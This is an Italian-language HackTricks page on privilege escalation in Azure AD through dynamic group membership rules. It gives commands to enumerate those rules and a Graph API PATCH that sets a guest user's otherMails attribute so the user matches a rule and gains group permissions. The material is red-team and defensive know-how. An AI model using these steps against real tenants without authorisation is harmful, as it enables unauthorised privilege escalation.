Az - Gruppi dinamici Privesc

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Informazioni di base

I gruppi dinamici sono gruppi a cui è configurato un insieme di regole e tutti gli utenti o dispositivi che corrispondono alle regole vengono aggiunti al gruppo. Ogni volta che un attributo di un utente o dispositivo viene modificato, le regole dinamiche vengono ricontrollate. E quando viene creata una nuova regola, tutti i dispositivi e gli utenti vengono verificati.

I gruppi dinamici possono avere Azure RBAC roles assigned a loro, ma non è possibile aggiungere AzureAD roles ai gruppi dinamici.

Questa funzionalità richiede una licenza Azure AD Premium P1.

Privesc

Nota che per impostazione predefinita qualsiasi utente può invitare guest in Azure AD, quindi, se una regola di un gruppo dinamico concede permessi agli utenti basandosi su attributi che possono essere impostati in un nuovo guest, è possibile creare un guest con questi attributi e escalare i privilegi. È anche possibile che un guest gestisca il proprio profilo e modifichi questi attributi.

Ottieni i gruppi che permettono la membership dinamica: az ad group list --query "[?contains(groupTypes, 'DynamicMembership')]" --output table

Enumerazione Gruppi Dinamici

Ottieni le regole di un gruppo dinamico:

Con Azure CLI:

az ad group list \
--filter "groupTypes/any(c:c eq 'DynamicMembership')" \
--query "[].{displayName:displayName, rule:membershipRule}" \
-o table

Con PowerShell e Microsoft Graph SDK:

Install-Module Microsoft.Graph -Scope CurrentUser -Force
Import-Module Microsoft.Graph

Connect-MgGraph -Scopes "Group.Read.All"

Get-MgGroup -Filter "groupTypes/any(c:c eq 'DynamicMembership')" `
-Property Id, DisplayName, GroupTypes

# Get the rules of a specific group
$g = Get-MgGroup -Filter "displayName eq '<GROUP NAME>'" `
-Property DisplayName, GroupTypes, MembershipRule, MembershipRuleProcessingState

$g | Select-Object DisplayName, GroupTypes, MembershipRule

# Get the rules of all dynamic groups
Get-MgGroup -Filter "groupTypes/any(c:c eq 'DynamicMembership')" `
-Property DisplayName, MembershipRule |
Select-Object DisplayName, MembershipRule

Esempio

  • Esempio di regola: (user.otherMails -any (_ -contains "security")) -and (user.userType -eq "guest")
  • Descrizione della regola: Qualsiasi utente Guest con un’email secondaria con la stringa ‘security’ verrà aggiunto al gruppo

Per l’email dell’utente Guest, accetta l’invito e verifica le impostazioni correnti di quel utente in https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView.
Sfortunatamente la pagina non permette di modificare i valori degli attributi, quindi dobbiamo usare l’API:

# Login with the gust user
az login --allow-no-subscriptions

# Get user object ID
az ad signed-in-user show

# Update otherMails
az rest --method PATCH \
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
--headers 'Content-Type=application/json' \
--body '{"otherMails": ["newemail@example.com", "anotheremail@example.com"]}'

# Verify the update
az rest --method GET \
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
--query "otherMails"

Riferimenti

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks